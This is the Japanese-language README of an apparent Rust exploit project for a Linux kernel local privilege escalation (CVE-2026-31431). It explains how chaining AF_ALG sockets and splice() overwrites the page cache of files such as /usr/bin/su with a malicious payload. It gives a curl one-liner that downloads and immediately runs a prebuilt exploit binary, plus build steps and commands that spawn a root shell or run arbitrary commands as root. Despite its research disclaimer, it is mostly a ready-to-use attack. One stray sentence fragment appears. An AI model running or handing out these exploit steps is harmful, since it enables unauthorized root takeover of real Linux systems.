
Copy Fail exploit (CVE-2026-31431) を Rust で実装。
Copy Fail エクスプロイト(CVE-2026-31431)のRust実装です。AF_ALGとsplice()を連鎖させて4バイトのページキャッシュ書き込みを実現する重大な脆弱性であり、主要なLinuxディストリビューションにおけるローカル権限昇格につながります。
Xint Codeによる研究とPoCに基づいています。
[!CAUTION] このプロジェクトは教育および研究目的のみを対象としています。所有していないシステムや明示的なテスト許可がないシステムでこのエクスプロイトを実行することは違法かつ非倫理的です。類似の脆弱性を理解し防御するために、このコードを責任を持って使用してください。
libcを介してLinuxカーネルのAF_ALGおよびsplice()システムコールと直接やり取りします。プリコンパイル済みのPoCバイナリを直接ダウンロードして実行できます:
curl -L https://github.com/sammwyy/copyfail-rs/releases/download/poc/copyfail-rs_x86-64 -o copyfail-rs && chmod +x copyfail-rs && ./copyfail-rs
/usr/bin/su)。リポジトリをクローンしてバイナリをビルドします:
git clone https://github.com/sammwyy/copyfail-rs.git
cd copyfail-rs
cargo build --release
引数なしでエクスプロイトを実行すると、デフォルトで/bin/shが実行されます:
./target/release/copyfail-rs
または、rootとして実行するカスタムコマンドを指定します:
./target/release/copyfail-rs "whoami > /tmp/pwned"
このエクスプロイトは、LinuxカーネルのCrypto API(AF_ALG)におけるauthencesn実装のバグを利用します。MSG_MOREを指定したsendmsgとsplice()を連鎖させることで、任意のファイル(/usr/bin/suなど)のページキャッシュの小さなチャンクを悪意のあるELFペイロードで上書きすることが可能になります。
AF_ALGソケットを作成し、authencesn(hmac(sha256),cbc(aes))にバインドします。AF_ALGの脆弱性を利用して、ペイロードをターゲットファイルのページキャッシュに反復的にスプライスします。